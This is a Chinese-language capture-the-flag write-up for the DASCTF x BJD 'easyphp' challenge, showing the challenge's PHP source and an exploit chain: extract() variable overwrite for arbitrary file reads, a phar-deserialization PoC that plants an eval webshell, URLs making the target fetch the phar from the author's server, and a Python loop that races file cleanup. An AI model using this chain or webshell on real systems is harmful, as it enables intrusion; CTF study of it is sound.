DASCTF

[DASCTF x BJD 12月圣诞狂欢赛]easyphp

进入题目,即给源码:

image-20201225170112633

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}

include_once('template.php');

$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');

if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}

if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Template($content);
} else {
echo "Please choice one template to reader";
}
?>

分析代码可知,构造如下可以读取文件,首先尝试读取/flag:

1
/?var[template][tp1]=/flag&tp=tp1

无果。

我们再将template.php读取出来:

1
/?var[template][tp1]=template.php&tp=tp1

image-20201225170236380

访问生成html文件,得到如下

image-20201225170323826

得到template.php的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

<?php
class Template{
public $content;
public $pattern;
public $suffix;

public function __construct($content){
$this->content = $content; // 读取得到的content
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}

public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1) // 在content中能匹配到{{([a-z]+)}}
break;
global ${$matches[1]}; // 匹配到的{{([a-z]+)}}

if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "Your html file is in " . $filename;
}
}

?>

我们发现,只要我们让render()方法执行,并控制后缀suffix为.php的话,便可以像目标主机上写webshell。render()方法执行的条件是将该类的对象进行反序列化,但是全称没有unserialize()反序列化点,所以我们考虑phar反序列化。

我们的思路是,借助file_get_contents函数远程读取位于我们vps上的phar.phar文件,然后借助phar反序列化漏洞修改Template对象中的后缀suffix为.php,并执行render()方法像目标主机写入webshell文件。

首先生成phar poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Template{
public $content = '<?php eval($_POST[whoami]);?>';
public $pattern = "/(.*)/";
public $suffix = ".php";
}

$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$poc = new Template();
$phar -> setMetadata($poc);
$phar -> stopBuffering();
?>

将生成的phar.phar上传到我们自己的vps(47.xxx.xxx.72)上。

然后构造如下,利用file_put_contents函数,读取位于我们vps上的phar.phar并写入目标主机:

1
/?var[template][tp1]=http://47.101.57.72:8848/phar.phar&tp=tp1

image-20201226102000067

如上图所示,将我们的phar.phar写入到了5e8adb7ac809c7da093145f3e066e972.html中。

然后构造如下,触发phar反序列化:

1
/?var[template][tp1]=phar://uploads/05a9d4ec2092f08e6e540c37b3addb7c/5e8adb7ac809c7da093145f3e066e972.html&tp=tp1

image-20201226102543565

如上图所示,成功生成了一个php文件,也就是我们写入的webshell。

但是该php文件一访问就没了:

image-20201226102654527

应该是目标主机上会定时删除我们生产的文件。并且我们注意到,每次访问生成的html和php的文件名都一样,所以我们可以写一个python脚本不停地进行方法,不停地往里面写webshell:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import requests
import time

url1 = "http://8.129.41.25:10305/?var[template][tp1]=http://47.101.57.72:8848/phar.phar&tp=tp1"
url2 = "http://8.129.41.25:10305/?var[template][tp1]=phar://uploads/05a9d4ec2092f08e6e540c37b3addb7c/5e8adb7ac809c7da093145f3e066e972.html&tp=tp1"
while 1:
res1 = requests.get(url=url1)
time.sleep(1)
res2 = requests.get(url=url2)
print(res2.text)

执行该脚本即可:

image-20201226102918586

然后用蚁剑连接我们生成的webshell,连接成功:

image-20201226103003498

执行根目录里的readflag即可得到flag:

image-20201226103056496